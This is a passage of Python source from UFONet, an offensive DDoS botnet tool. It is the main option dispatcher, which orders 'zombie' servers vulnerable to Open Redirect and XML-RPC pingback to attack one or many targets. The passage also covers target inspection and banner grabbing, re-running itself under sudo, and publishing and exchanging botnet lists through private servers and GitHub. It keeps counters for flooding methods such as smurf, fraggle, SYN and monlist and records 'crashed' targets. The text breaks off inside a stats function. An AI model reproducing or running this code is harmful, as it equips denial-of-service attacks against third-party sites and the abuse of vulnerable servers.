  1120. if z.endswith(os.linesep):
  1121. z = z.replace(os.linesep, "")
  1122. if z not in zz or z+os.linesep not in zz:
  1123. f.write(z+os.linesep)
  1124. f.close()
  1125. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  1126. print('-'*25 + "\n")
  1127. if new_zombies and new_zombies > 0:
  1128. if not self.options.forceyes:
  1129. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  1130. print('-'*25 + "\n")
  1131. else:
  1132. check_url_link_reply = "Y"
  1133. if check_url_link_reply == "n" or check_url_link_reply == "N":
  1134. print("[AI] "+self.exit_msg+"\n")
  1135. pass
  1136. else:
  1137. print("\n" + '='*44)
  1138. test = self.testing(all_zombies_found)
  1139. else:
  1140. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  1141. except Exception:
  1142. print ("[Error] [AI] Something wrong (auto)searching...\n")
  1143. # test web 'zombie' servers -> show statistics
  1144. if options.test:
  1145. try:
  1146. self.banner()
  1147. zombies = self.extract_zombies()
  1148. if not zombies:
  1149. return
  1150. test = self.testing(zombies)
  1151. self.update_missions_stats() # update mothership missions stats
  1152. except Exception:
  1153. print ("\n[Error] [AI] Something wrong testing!\n")
  1154. if DEBUG == True:
  1155. traceback.print_exc()
  1156. # test XML-'rpc' pingback vulnerable servers -> update list
  1157. if options.testrpc:
  1158. try:
  1159. self.banner()
  1160. rpcs = self.extract_rpcs()
  1161. if not rpcs:
  1162. return
  1163. testrpc = self.testing_rpcs(rpcs)
  1164. self.update_missions_stats() # update mothership missions stats
  1165. except Exception:
  1166. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1167. if DEBUG == True:
  1168. traceback.print_exc()
  1169. # check botnet searching for zombies offline
  1170. if options.testoffline:
  1171. try:
  1172. self.banner()
  1173. testbotnet = self.testing_offline()
  1174. self.update_missions_stats() # update mothership missions stats
  1175. except Exception:
  1176. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1177. if DEBUG == True:
  1178. traceback.print_exc()
  1179. # check ALL botnet status
  1180. if options.testall:
  1181. try:
  1182. self.banner()
  1183. test_all_botnet = self.testing_all()
  1184. self.update_missions_stats() # update mothership missions stats
  1185. except Exception:
  1186. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1187. if DEBUG == True:
  1188. traceback.print_exc()
  1189. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1190. if options.target:
  1191. try:
  1192. self.banner()
  1193. zombies = self.extract_zombies()
  1194. if not zombies:
  1195. return
  1196. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1197. attack = self.attacking(zombies, options.target)
  1198. self.update_missions_stats() # update mothership missions stats
  1199. except Exception:
  1200. print ("\n[Error] [AI] Something wrong attacking!\n")
  1201. if DEBUG == True:
  1202. traceback.print_exc()
  1203. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1204. if options.target_list:
  1205. try:
  1206. self.banner()
  1207. zombies = self.extract_zombies()
  1208. if not zombies:
  1209. return
  1210. targets = self.extract_target_list()
  1211. if not targets:
  1212. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1213. return
  1214. self.options.forceyes = True # force-yes ON!
  1215. self.num_target_list = 0
  1216. print("\n[AI] Checking integrity of targets...\n")
  1217. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1218. if not t.startswith("http"): # discarded inmediately
  1219. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1220. targets.remove(t) # ¿remove? invalid targets
  1221. print("")
  1222. c = 0
  1223. for target in targets:
  1224. if target == "":
  1225. c = c + 1
  1226. else:
  1227. self.num_target_list = self.num_target_list + 1
  1228. if c == len(targets):
  1229. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1230. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1231. else:
  1232. for target in targets:
  1233. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1234. target = self.options.target
  1235. print('='*55 + "\n")
  1236. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1237. print("="*55)
  1238. attack = self.attacking(zombies, target)
  1239. self.update_missions_stats() # update mothership missions stats (each target counts)
  1240. except Exception:
  1241. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1242. if DEBUG == True:
  1243. traceback.print_exc()
  1244. # inspect target -> inspect target's components sizes
  1245. if options.inspect:
  1246. try:
  1247. self.banner()
  1248. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1249. print('='*22 + '\n')
  1250. self.instance = Inspector(self) # instance main class for inspection operations
  1251. inspection = self.instance.inspecting(options.inspect)
  1252. self.update_missions_stats() # update mothership missions stats
  1253. except Exception as e:
  1254. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1255. if DEBUG == True:
  1256. traceback.print_exc()
  1257. return #sys.exit(2)
  1258. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1259. if options.abduction:
  1260. try:
  1261. self.banner()
  1262. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1263. print('='*22 + '\n')
  1264. self.instance = Abductor(self) # instance main class for abduction operations
  1265. abduction = self.instance.abducting(options.abduction)
  1266. self.update_missions_stats() # update mothership missions stats
  1267. except Exception as e:
  1268. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1269. if DEBUG == True:
  1270. traceback.print_exc()
  1271. return #sys.exit(2)
  1272. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1273. if options.attackme:
  1274. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1275. try:
  1276. self.banner()
  1277. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1278. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1279. if not self.options.forceyes:
  1280. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1281. else:
  1282. update_reply = "Y"
  1283. if update_reply == "n" or update_reply == "N":
  1284. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1285. return
  1286. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1287. print("\n[Info] Mothership ID: " + self.mothership_id + "\n[Info] RND: " + self.mothership_hash)
  1288. print("\n[AI] Checking NAT/IP configuration:\n")
  1289. nat = self.check_nat()
  1290. f = open("alien", "w") # generate random alien worker
  1291. f.write(str(self.mothership_hash))
  1292. f.close()
  1293. if self.nat_error_flag == "ON":
  1294. return
  1295. zombies = self.extract_zombies()
  1296. if not zombies:
  1297. return
  1298. attackme = self.attackme(zombies)
  1299. self.update_missions_stats() # update mothership missions stats
  1300. except Exception as e:
  1301. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1302. if DEBUG == True:
  1303. traceback.print_exc()
  1304. return #sys.exit(2)
  1305. # check/update for latest stable version
  1306. if options.update:
  1307. self.banner()
  1308. try:
  1309. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1310. Updater()
  1311. except:
  1312. print("Not any .git repository found!\n")
  1313. print("="*30)
  1314. print("\nTo have working this feature, you should clone UFONet with:\n")
  1315. print("$ git clone %s" % self.GIT_REPOSITORY)
  1316. print("\nAlso you can try this other mirror:\n")
  1317. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1318. # launch GUI/Web interface
  1319. if options.web:
  1320. self.create_web_interface()
  1321. return
  1322. # deploy data to share in [/var/www/ufonet]
  1323. if options.deploy is not None:
  1324. self.banner()
  1325. euid = self.checkeuid()
  1326. if euid != 0:
  1327. print("\n[Info] [AI] [Control] [DEPLOY] (--deploy) not started as root...\n")
  1328. try:
  1329. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1330. os.execlpe('sudo', *args)
  1331. except:
  1332. pass
  1333. try:
  1334. print("\n[AI] Trying to deploy data to share in: '"+self.warping_path+"'\n")
  1335. np = r''+self.warping_path+''
  1336. if not os.path.exists(np):
  1337. os.makedirs(np)
  1338. print("[AI] Created folder at: '"+self.warping_path+"'\n")
  1339. else:
  1340. print("[AI] Path to folder: '"+self.warping_path+"' exists! -> [Passing!]\n")
  1341. from pathlib import Path # import pathlib
  1342. import shutil # import shutil
  1343. src = 'data/'
  1344. files=os.listdir(src)
  1345. print("[AI] GUI [Data] has been deployed...\n")
  1346. for fname in files:
  1347. shutil.copy2(os.path.join(src,fname), self.warping_path)
  1348. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1349. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1350. print("")
  1351. src2 = 'botnet/'
  1352. files=os.listdir(src2)
  1353. print("[AI] CORE [Botnet] has been deployed...\n")
  1354. for fname in files:
  1355. shutil.copy2(os.path.join(src2,fname), self.warping_path)
  1356. if fname == 'zombies.txt':
  1357. in_file = self.warping_path+"/"+fname
  1358. in_data = open(in_file, "rb").read()
  1359. out_gz = self.warping_path+"/"+"abductions.txt.gz"
  1360. gzf = gzip.open(out_gz, "wb")
  1361. gzf.write(in_data)
  1362. gzf.close()
  1363. os.unlink(in_file)
  1364. print(" - "+fname+" -> "+self.warping_path+"/"+"abductions.txt.gz")
  1365. os.chmod(self.warping_path+"/"+"abductions.txt.gz", self.warping_folder_permissions)
  1366. if fname == 'aliens.txt':
  1367. in_file = self.warping_path+"/"+fname
  1368. in_data = open(in_file, "rb").read()
  1369. out_gz = self.warping_path+"/"+"troops.txt.gz"
  1370. gzf = gzip.open(out_gz, "wb")
  1371. gzf.write(in_data)
  1372. gzf.close()
  1373. os.unlink(in_file)
  1374. print(" - "+fname+" -> "+self.warping_path+"/"+"troops.txt.gz")
  1375. os.chmod(self.warping_path+"/"+"troops.txt.gz", self.warping_folder_permissions)
  1376. if fname == 'droids.txt':
  1377. in_file = self.warping_path+"/"+fname
  1378. in_data = open(in_file, "rb").read()
  1379. out_gz = self.warping_path+"/"+"robots.txt.gz"
  1380. gzf = gzip.open(out_gz, "wb")
  1381. gzf.write(in_data)
  1382. gzf.close()
  1383. os.unlink(in_file)
  1384. print(" - "+fname+" -> "+self.warping_path+"/"+"robots.txt.gz")
  1385. os.chmod(self.warping_path+"/"+"robots.txt.gz", self.warping_folder_permissions)
  1386. if fname == 'ucavs.txt':
  1387. in_file = self.warping_path+"/"+fname
  1388. in_data = open(in_file, "rb").read()
  1389. out_gz = self.warping_path+"/"+"drones.txt.gz"
  1390. gzf = gzip.open(out_gz, "wb")
  1391. gzf.write(in_data)
  1392. gzf.close()
  1393. os.unlink(in_file)
  1394. print(" - "+fname+" -> "+self.warping_path+"/"+"drones.txt.gz")
  1395. os.chmod(self.warping_path+"/"+"drones.txt.gz", self.warping_folder_permissions)
  1396. if fname == 'rpcs.txt':
  1397. in_file = self.warping_path+"/"+fname
  1398. in_data = open(in_file, "rb").read()
  1399. out_gz = self.warping_path+"/"+"reflectors.txt.gz"
  1400. gzf = gzip.open(out_gz, "wb")
  1401. gzf.write(in_data)
  1402. gzf.close()
  1403. os.unlink(in_file)
  1404. print(" - "+fname+" -> "+self.warping_path+"/"+"reflectors.txt.gz")
  1405. os.chmod(self.warping_path+"/"+"reflectors.txt.gz", self.warping_folder_permissions)
  1406. if fname == 'snmp.txt':
  1407. in_file = self.warping_path+"/"+fname
  1408. in_data = open(in_file, "rb").read()
  1409. out_gz = self.warping_path+"/"+"bosons.txt.gz"
  1410. gzf = gzip.open(out_gz, "wb")
  1411. gzf.write(in_data)
  1412. gzf.close()
  1413. os.unlink(in_file)
  1414. print(" - "+fname+" -> "+self.warping_path+"/"+"bosons.txt.gz")
  1415. os.chmod(self.warping_path+"/"+"bosons.txt.gz", self.warping_folder_permissions)
  1416. if fname == 'ntp.txt':
  1417. in_file = self.warping_path+"/"+fname
  1418. in_data = open(in_file, "rb").read()
  1419. out_gz = self.warping_path+"/"+"crystals.txt.gz"
  1420. gzf = gzip.open(out_gz, "wb")
  1421. gzf.write(in_data)
  1422. gzf.close()
  1423. os.unlink(in_file)
  1424. print(" - "+fname+" -> "+self.warping_path+"/"+"crystals.txt.gz")
  1425. os.chmod(self.warping_path+"/"+"crystals.txt.gz", self.warping_folder_permissions)
  1426. if fname == 'dns.txt':
  1427. in_file = self.warping_path+"/"+fname
  1428. in_data = open(in_file, "rb").read()
  1429. out_gz = self.warping_path+"/"+"warps.txt.gz"
  1430. gzf = gzip.open(out_gz, "wb")
  1431. gzf.write(in_data)
  1432. gzf.close()
  1433. os.unlink(in_file)
  1434. print(" - "+fname+" -> "+self.warping_path+"/"+"warps.txt.gz")
  1435. os.chmod(self.warping_path+"/"+"warps.txt.gz", self.warping_folder_permissions)
  1436. if fname == 'dorks.txt':
  1437. print(" - "+fname+" -> "+self.warping_path+"/"+fname)
  1438. os.chmod(self.warping_path+"/"+fname, self.warping_folder_permissions)
  1439. print("")
  1440. print("[AI] [Info] [Control] [DEPLOY] Files are ready to be shared with other 'motherships'...\n\n[AI] [Info] [DEPLOY] Other requirements:\n")
  1441. print(" - 1) Setup web server (apache, nginx...)")
  1442. print(" - 2) Make your web server accessible from the Internet (NAT/VPS) <-> ex: 'http(s)://<your ip>/ufonet/'")
  1443. print(" - 3a) Start [Blackhole] with: './ufonet --blackhole' (or python3 ufonet --blackhole &)")
  1444. print(" - 3b) Start [Grider] with: './ufonet --grider' (or python3 ufonet --grider &)")
  1445. print(" - 4) Share your IP on the sneaknet! (ex: SHIP.RADAR) ;-)")
  1446. print("")
  1447. except Exception as e:
  1448. print("[Error] "+str(e))
  1449. print("\n[AI] Something was wrong deploying in: '/var/www/ufonet'... -> [Aborting!]\n")
  1450. # generate [Blackhole] server to share [Zombies]
  1451. if options.blackhole is not None:
  1452. self.banner()
  1453. try:
  1454. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1455. sys.path.append(blackhole_lib)
  1456. from core.tools.blackhole import BlackHole
  1457. print("\n[AI] Initiating void generation sequence...\n")
  1458. print('='*22 + '\n')
  1459. app = BlackHole()
  1460. app.start()
  1461. while True: time.sleep(1)
  1462. except KeyboardInterrupt:
  1463. print("\n[AI] Terminating void generation sequence...\n")
  1464. app.collapse()
  1465. except Exception as e:
  1466. print("[Error] "+str(e))
  1467. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1468. # create [Grider] server to share [Stats/Wargames/Messages]
  1469. if options.grider is not None:
  1470. self.banner()
  1471. try:
  1472. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1473. sys.path.append(grider_lib)
  1474. from core.tools.grider import Grider
  1475. print("\n[AI] Initiating void generation sequence...\n")
  1476. print('='*22 + '\n')
  1477. app = Grider()
  1478. app.start()
  1479. while True: time.sleep(1)
  1480. except KeyboardInterrupt:
  1481. print("\n[AI] Terminating void generation sequence...\n")
  1482. app.collapse()
  1483. except Exception as e:
  1484. print("[Error] "+str(e))
  1485. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1486. # download list of [Zombies] from a [Blackhole] IP
  1487. if options.dip is not None:
  1488. options.download = True
  1489. self.blackhole = options.dip
  1490. # upload list of [Zombies] to a [Blackhole] IP
  1491. if options.upip is not None:
  1492. options.upload = True
  1493. self.blackhole = options.upip
  1494. # download list of [Zombies] from Community nodes (Radar) [02/02/2022 OK!]
  1495. if options.download_nodes:
  1496. try:
  1497. self.banner()
  1498. print("\n[AI] Downloading list of [Zombies] from [Radar] [Blackhole] [Nodes] ...\n")
  1499. print('='*22 + '\n')
  1500. download_nodes_list = self.downloading_nodes_list()
  1501. except Exception as e:
  1502. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1503. return
  1504. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1505. if options.download:
  1506. try:
  1507. self.banner()
  1508. if options.dip is not None:
  1509. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1510. else:
  1511. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1512. print('='*22 + '\n')
  1513. download_list = self.downloading_list()
  1514. except Exception as e:
  1515. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1516. return
  1517. # upload list of [Zombies] to Community server [20/01/2020 OK!]
  1518. if options.upload:
  1519. try:
  1520. self.banner()
  1521. if options.upip is not None:
  1522. print(("\n[AI] Uploading list of [Zombies] to [Private] server: "+self.blackhole+" ...\n"))
  1523. else:
  1524. print("\n[AI] Uploading list of [Zombies] to [Community] server ...\n")
  1525. print('='*22 + '\n')
  1526. upload_list = self.uploading_list()
  1527. except Exception as e:
  1528. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1529. if DEBUG == True:
  1530. traceback.print_exc()
  1531. return #sys.exit(2)
  1532. # download list of [Zombies] from GitHub server [20/01/2020 OK!]
  1533. if options.download_github:
  1534. try:
  1535. self.banner()
  1536. print("\n[AI] Downloading list of [Zombies] from [GitHub] server ...\n")
  1537. print('='*22 + '\n')
  1538. download_github_list = self.downloading_github_list()
  1539. except Exception as e:
  1540. print ("[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1541. return
  1542. # upload list of [Zombies] to GitHub server [20/01/2020 OK!]
  1543. if options.upload_github:
  1544. try:
  1545. self.banner()
  1546. print("\n[AI] Uploading 'zombies' to [GitHub] is simple. Follow the next steps:\n")
  1547. print('='*22 + '\n')
  1548. upload_github_list = self.uploading_github_list()
  1549. except Exception as e:
  1550. print(("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n"))
  1551. if DEBUG == True:
  1552. traceback.print_exc()
  1553. return #sys.exit(2)
  1554. # starting new zombie thread
  1555. def connect_zombies(self, zombie):
  1556. z=Zombie(self, zombie)
  1557. t = threading.Thread(target=z.connect, name=zombie)
  1558. t.start()
  1559. # single connection handling
  1560. def connect_zombie(self, zombie):
  1561. z=Zombie(self,zombie)
  1562. return z.connect()
  1563. def extract_proxy(self, proxy):
  1564. sep = ":"
  1565. proxy_ip = proxy.rsplit(sep, 1)[0]
  1566. if proxy_ip.startswith('http://'):
  1567. proxy_ip = proxy_ip.replace('http://', '')
  1568. elif proxy_ip.startswith('https://'):
  1569. proxy_ip = proxy_ip.replace('https://', '')
  1570. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1571. proxy_ip = 'localhost'
  1572. proxy_port = proxy.rsplit(sep, 1)[1]
  1573. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1574. return proxy_url
  1575. def proxy_transport(self, proxy):
  1576. proxy_url = self.extract_proxy(proxy)
  1577. proxy = urllib.request.ProxyHandler({'https': proxy_url})
  1578. opener = urllib.request.build_opener(proxy)
  1579. urllib.request.install_opener(opener)
  1580. def check_mothership_chargo(self):
  1581. f = open(self.zombies_file)
  1582. self.zombies = f.readlines()
  1583. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1584. self.list_zombies = []
  1585. for zombie in self.zombies:
  1586. t = urlparse(zombie)
  1587. name_zombie = t.netloc
  1588. if name_zombie == "":
  1589. name_zombie = zombie
  1590. self.list_zombies.append(name_zombie)
  1591. self.num_zombies = str(len(self.zombies))
  1592. f.close()
  1593. f = open(self.aliens_file)
  1594. self.aliens = f.readlines()
  1595. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1596. self.list_aliens = []
  1597. for alien in self.aliens:
  1598. t = urlparse(alien)
  1599. name_alien = t.netloc
  1600. if name_alien == "":
  1601. name_alien = alien
  1602. self.list_aliens.append(name_alien)
  1603. self.num_aliens = str(len(self.aliens))
  1604. f.close()
  1605. f = open(self.droids_file)
  1606. self.droids = f.readlines()
  1607. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1608. self.list_droids = []
  1609. for droid in self.droids:
  1610. t = urlparse(droid)
  1611. name_droid = t.netloc
  1612. if name_droid == "":
  1613. name_droid = droid
  1614. self.list_droids.append(name_droid)
  1615. self.num_droids = str(len(self.droids))
  1616. f.close()
  1617. f = open(self.ucavs_file)
  1618. self.ucavs = f.readlines()
  1619. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1620. self.list_ucavs = []
  1621. for ucav in self.ucavs:
  1622. t = urlparse(ucav)
  1623. name_ucav = t.netloc
  1624. if name_ucav == "":
  1625. name_ucav = ucav
  1626. self.list_ucavs.append(name_ucav)
  1627. self.num_ucavs = str(len(self.ucavs))
  1628. f.close()
  1629. f = open(self.rpcs_file)
  1630. self.rpcs = f.readlines()
  1631. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1632. self.list_rpcs = []
  1633. for rpc in self.rpcs:
  1634. t = urlparse(rpc)
  1635. name_rpc = t.netloc
  1636. if name_rpc == "":
  1637. name_rpc = rpc
  1638. self.list_rpcs.append(name_rpc)
  1639. self.num_rpcs = str(len(self.rpcs))
  1640. f.close()
  1641. f = open(self.dnss_file)
  1642. self.dnss = f.readlines()
  1643. self.dnss = [dns.replace('\n', '') for dns in self.dnss]
  1644. self.list_dnss = []
  1645. for dns in self.dnss:
  1646. t = urlparse(dns)
  1647. name_dns = t.netloc
  1648. if name_dns == "":
  1649. name_dns = dns
  1650. self.list_dnss.append(name_dns)
  1651. self.num_dnss = str(len(self.dnss))
  1652. f.close()
  1653. f = open(self.ntps_file)
  1654. self.ntps = f.readlines()
  1655. self.ntps = [ntp.replace('\n', '') for ntp in self.ntps]
  1656. self.list_ntps = []
  1657. for ntp in self.ntps:
  1658. t = urlparse(ntp)
  1659. name_ntp = t.netloc
  1660. if name_ntp == "":
  1661. name_ntp = ntp
  1662. self.list_ntps.append(name_ntp)
  1663. self.num_ntps = str(len(self.ntps))
  1664. f.close()
  1665. f = open(self.snmps_file)
  1666. self.snmps = f.readlines()
  1667. self.snmps = [snmp.replace('\n', '') for snmp in self.snmps]
  1668. self.list_snmps = []
  1669. for snmp in self.snmps:
  1670. t = urlparse(snmp)
  1671. name_snmp = t.netloc
  1672. if name_snmp == "":
  1673. name_snmp = snmp
  1674. self.list_snmps.append(name_snmp)
  1675. self.num_snmps = str(len(self.snmps))
  1676. f.close()
  1677. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs) + int(self.num_dnss) + int(self.num_ntps) + int(self.num_snmps))
  1678. return self.total_botnet
  1679. def update_flying_stats(self):
  1680. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1681. with open(self.mothership_stats_file, "w") as f:
  1682. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "fraggle": "0", "xmas": "0", "ufoack": "0", "uforst": "0", "droper": "0", "overlap": "0", "pinger": "0", "ufoudp": "0", "nuke": "0", "tachyon": "0", "monlist": "0", "sniper": "0", "crashed": "0"}, f, indent=4) # starting reset
  1683. stats_json_file = open(self.mothership_stats_file, "r")
  1684. data = json.load(stats_json_file)
  1685. stats_json_file.close()
  1686. aflying = data["flying"]
  1687. aflying = str(int(aflying) + 1) # add new flying time
  1688. data["flying"] = aflying
  1689. stats_json_file = open(self.mothership_stats_file, "w+")
  1690. stats_json_file.write(json.dumps(data))
  1691. stats_json_file.close()
  1692. def update_mothership_stats(self):
  1693. stats_json_file = open(self.mothership_stats_file, "r")
  1694. data = json.load(stats_json_file)
  1695. stats_json_file.close()
  1696. acompleted = data["completed"]
  1697. acompleted = str(int(acompleted) + 1) # add new completed attack
  1698. data["completed"] = acompleted
  1699. stats_json_file = open(self.mothership_stats_file, "w+")
  1700. stats_json_file.write(json.dumps(data))
  1701. stats_json_file.close()
  1702. def update_targets_crashed(self):
  1703. stats_json_file = open(self.mothership_stats_file, "r")
  1704. data = json.load(stats_json_file)
  1705. stats_json_file.close()
  1706. tcrashed = data["crashed"]
  1707. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1708. data["crashed"] = tcrashed
  1709. stats_json_file = open(self.mothership_stats_file, "w+")
  1710. stats_json_file.write(json.dumps(data))
  1711. stats_json_file.close()
  1712. def update_missions_stats(self):
  1713. stats_json_file = open(self.mothership_stats_file, "r")
  1714. data = json.load(stats_json_file)
  1715. stats_json_file.close()
  1716. missions = data["missions"]
  1717. missions = str(int(missions) + 1) # add new mission target
  1718. data["missions"] = missions
  1719. stats_json_file = open(self.mothership_stats_file, "w+")
  1720. stats_json_file.write(json.dumps(data))
  1721. stats_json_file.close()
  1722. def update_scanner_stats(self, num):
  1723. stats_json_file = open(self.mothership_stats_file, "r")
  1724. data = json.load(stats_json_file)
  1725. stats_json_file.close()
  1726. scanner = data["scanner"]
  1727. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1728. data["scanner"] = scanner
  1729. stats_json_file = open(self.mothership_stats_file, "w+")
  1730. stats_json_file.write(json.dumps(data))
  1731. stats_json_file.close()
  1732. def update_transferred_stats(self, num):
  1733. stats_json_file = open(self.mothership_stats_file, "r")
  1734. data = json.load(stats_json_file)
  1735. stats_json_file.close()
  1736. transferred = data["transferred"]
  1737. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1738. data["transferred"] = transferred
  1739. stats_json_file = open(self.mothership_stats_file, "w+")
  1740. stats_json_file.write(json.dumps(data))
  1741. stats_json_file.close()
  1742. def update_max_chargo(self, chargo):
  1743. stats_json_file = open(self.mothership_stats_file, "r")
  1744. data = json.load(stats_json_file)
  1745. stats_json_file.close()
  1746. amax_chargo = data["max_chargo"]
  1747. if int(chargo) > int(amax_chargo): # new max chargo found
  1748. amax_chargo = chargo # add new max chargo
  1749. else:
  1750. amax_chargo = data["max_chargo"]
  1751. data["max_chargo"] = amax_chargo
  1752. stats_json_file = open(self.mothership_stats_file, "w+")
  1753. stats_json_file.write(json.dumps(data))
  1754. stats_json_file.close()
  1755. def update_loic_stats(self):
  1756. stats_json_file = open(self.mothership_stats_file, "r")
  1757. data = json.load(stats_json_file)
  1758. stats_json_file.close()
  1759. aloic = data["loic"]
  1760. aloic = str(int(aloic) + 1) # add new loic attack to recorded stats
  1761. self.total_loic = self.total_loic + 1 # add new loic attack to session stats
  1762. data["loic"] = aloic
  1763. stats_json_file = open(self.mothership_stats_file, "w+")
  1764. stats_json_file.write(json.dumps(data))
  1765. stats_json_file.close()
  1766. def update_loris_stats(self):
  1767. stats_json_file = open(self.mothership_stats_file, "r")
  1768. data = json.load(stats_json_file)
  1769. stats_json_file.close()
  1770. aloris = data["loris"]
  1771. aloris = str(int(aloris) + 1) # add new loris attack to recorded stats
  1772. self.total_loris = self.total_loris + 1 # add new loris attack to session stats
  1773. data["loris"] = aloris
  1774. stats_json_file = open(self.mothership_stats_file, "w+")
  1775. stats_json_file.write(json.dumps(data))
  1776. stats_json_file.close()
  1777. def update_ufosyn_stats(self):
  1778. stats_json_file = open(self.mothership_stats_file, "r")
  1779. data = json.load(stats_json_file)
  1780. stats_json_file.close()
  1781. aufosyn = data["ufosyn"]
  1782. aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats
  1783. self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats
  1784. data["ufosyn"] = aufosyn
  1785. stats_json_file = open(self.mothership_stats_file, "w+")
  1786. stats_json_file.write(json.dumps(data))
  1787. stats_json_file.close()
  1788. def update_spray_stats(self):
  1789. stats_json_file = open(self.mothership_stats_file, "r")
  1790. data = json.load(stats_json_file)
  1791. stats_json_file.close()
  1792. aspray = data["spray"]
  1793. aspray = str(int(aspray) + 1) # add new spray attack to recorded stats
  1794. self.total_spray = self.total_spray + 1 # add new spray attack to session stats
  1795. data["spray"] = aspray
  1796. stats_json_file = open(self.mothership_stats_file, "w+")
  1797. stats_json_file.write(json.dumps(data))
  1798. stats_json_file.close()
  1799. def update_smurf_stats(self):
  1800. stats_json_file = open(self.mothership_stats_file, "r")
  1801. data = json.load(stats_json_file)
  1802. stats_json_file.close()
  1803. asmurf = data["smurf"]
  1804. asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats
  1805. self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats
  1806. data["smurf"] = asmurf
  1807. stats_json_file = open(self.mothership_stats_file, "w+")
  1808. stats_json_file.write(json.dumps(data))
  1809. stats_json_file.close()
  1810. def update_fraggle_stats(self):
  1811. stats_json_file = open(self.mothership_stats_file, "r")
  1812. data = json.load(stats_json_file)
  1813. stats_json_file.close()
  1814. afraggle = data["fraggle"]
  1815. afraggle = str(int(afraggle) + 1) # add new fraggle attack to recorded stats
  1816. self.total_fraggle = self.total_fraggle + 1 # add new fraggle attack to session stats
  1817. data["fraggle"] = afraggle
  1818. stats_json_file = open(self.mothership_stats_file, "w+")
  1819. stats_json_file.write(json.dumps(data))
  1820. stats_json_file.close()
  1821. def update_xmas_stats(self):
  1822. stats_json_file = open(self.mothership_stats_file, "r")
  1823. data = json.load(stats_json_file)
  1824. stats_json_file.close()
  1825. axmas = data["xmas"]
  1826. axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats
  1827. self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats
  1828. data["xmas"] = axmas
  1829. stats_json_file = open(self.mothership_stats_file, "w+")
  1830. stats_json_file.write(json.dumps(data))
  1831. stats_json_file.close()
  1832. def update_ufoack_stats(self):
  1833. stats_json_file = open(self.mothership_stats_file, "r")
  1834. data = json.load(stats_json_file)
  1835. stats_json_file.close()
  1836. aufoack = data["ufoack"]
  1837. aufoack = str(int(aufoack) + 1) # add new ufoack attack to recorded stats
